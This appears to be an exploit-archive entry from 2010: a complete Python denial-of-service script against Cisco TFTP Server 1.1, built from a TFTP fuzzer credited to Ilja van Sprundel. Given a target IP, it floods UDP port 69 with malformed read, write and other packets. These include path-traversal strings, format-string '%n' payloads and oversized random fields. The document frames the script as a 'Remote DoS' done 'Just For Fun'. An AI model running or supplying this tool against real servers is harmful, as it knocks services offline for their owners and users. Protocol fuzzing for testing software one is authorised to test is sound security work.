# Exploit Title: [Cisco TFTP Server 1.1] # Date: [2010-03-25] # Author: [_SuBz3r0_] # Software Link: [http://www.oldversion.com/Cisco_TFTP_Server.html] # Version: [1.1] # Tested on: [XP SP3,Win2k3] # CVE : [if exists] # Code : #Cisco TFTP Server v1.1 DoS print "" print "##############################################" print "# _SuBz3r0_ #" print "##############################################" print "" print "Cisco TFTP v1.1 Remote DoS" print "Just For Fun" print "tftp_fuzz.py [ip of server]" print "" print "Greetz:piloo le canari & MaX" print "Credits to Ilja van Sprundel" print "Tested on: French Windows Xp Sp3 fully Patched" print "" #!/usr/bin/python # tftpd fuzzer by Ilja van Sprundel # implements rfc 1350, 2090, 2347, 2348, 2349 # # todo: - 1 option per packet # - lots (>100) (small) options per packet # - add better option support to OACK # - client fuzzing ? import os, socket, sys, struct, random port = 69 type = ["netascii", "octet", "binary", "mail"] asize = ["blkzise", "tsize"] class fuzz: def __init__(self): """ """ def randstring(self, len): thestring = "" what = random.randint(0,5) if what < 5: for i in range(len): char = chr(random.randint(1,255)) thestring += char else: thestring = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n" return thestring def randbin(self, len): thestring = "" for i in range(len): char = chr(random.randint(0,255)) thestring += char return thestring def fuzz_rw(self): """ """ data = "" if not random.randint(0,50): return "" if not random.randint(0,10): if random.randint(0,1): data = "../" else: howmany = random.randint(1,100) data = "../" * howmany data += self.randstring(random.randint(0,3000)) # no 0byte if not random.randint(0,10): return data data += "\0" # no mode if not random.randint(0,100): return data if random.randint(0,5): data += random.choice(type) else: data += self.randstring(random.randint(0,3000)) if not random.randint(0,10): return data data += "\0" if not random.randint(0,10): return data options = random.randint(0,100) if not random.randint(0,10): breakloop = 1 breakit = random.randint(0, options) else: breakloop = 0 longarg = random.randint(0, options) if not random.randint(0,10): lowlimit = 16 options = options / 4 else: lowlimit = 0 for i in range(options): which = random.randint(lowlimit, 19) if which < 16: if longarg == i: data += self.randstring(random.randint(0,3000)) else: data += self.randstring(random.randint(0,100)) data += "\0" data += self.randstring(random.randint(0,100)) if which == 16: data += "multicast\0" if not random.randint(0,5): if random.randint(0,1): data += self.randstring(random.randint(0,50)) else: data += str(random.randint(0, 0xffffffff)) if which == 17 or which == 18: data += random.choice(asize) + "\0" if random.randint(0,10): if random.randint(0,1): uplimit = 65535 else: uplimit = 0xffffffff string = str(random.randint(0, uplimit)) if random.randint(0,1): data += "-" data += string else: data += self.randstring(random.randint(0,50)) if which == 19: data += "timeout\0" if random.randint(0,10): which = random.randint(0,5) if which < 4: uplimit = 255 if which == 4: uplimit = 65535 else: uplimit = 0xffffffff string = str(random.randint(0, uplimit)) if random.randint(0,1): data += "-" data += string else: data += self.randstring(random.randint(0,50)) if breakloop: if i == breakit: return data data += "\0" return data def make_data(self): """ """ which = random.randint(0,10) if which < 6: # read is more likely to be accepted then write # hence we bias it towards reading ! if random.randint(0,2): d = "\x00\x01" else: d = "\x00\x02" d += self.fuzz_rw() # do some tftpd's do something with this ??? elif which == 6: d = "\x00\x03" d += self.randbin(2) d += self.randbin(random.randint(0,3000)) elif which == 7: d = "\x00\x04" d += self.randbin(2) if not random.randint(0,10): d += self.randbin(random.randint(0,3000)) elif which == 8: d = "\x00\x05" d += self.randbin(2) d += self.randstring(random.randint(0,1000)) if random.randint(0,10): d += "\0" elif which == 9: # lets do this later .... d = "\x00\x06" d += self.randbin(1000) else: if random.randint(0,2): times = 512 else: times = random.randint(512, 10000) d = self.randbin(random.randint(0,times)) return d def run(self): """ """ packets = 0 try: while 1: try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) da = self.make_data() s.sendto(da, (host, port)) s.close() os.write(1,".") packets += 1 except KeyboardInterrupt: print "\nPackets: " + str(packets) if __name__ == '__main__': if len(sys.argv) <= 1: sys.exit(0) host = sys.argv[1] if len(sys.argv) >= 3: port = sys.argv[2] f = fuzz() f.run()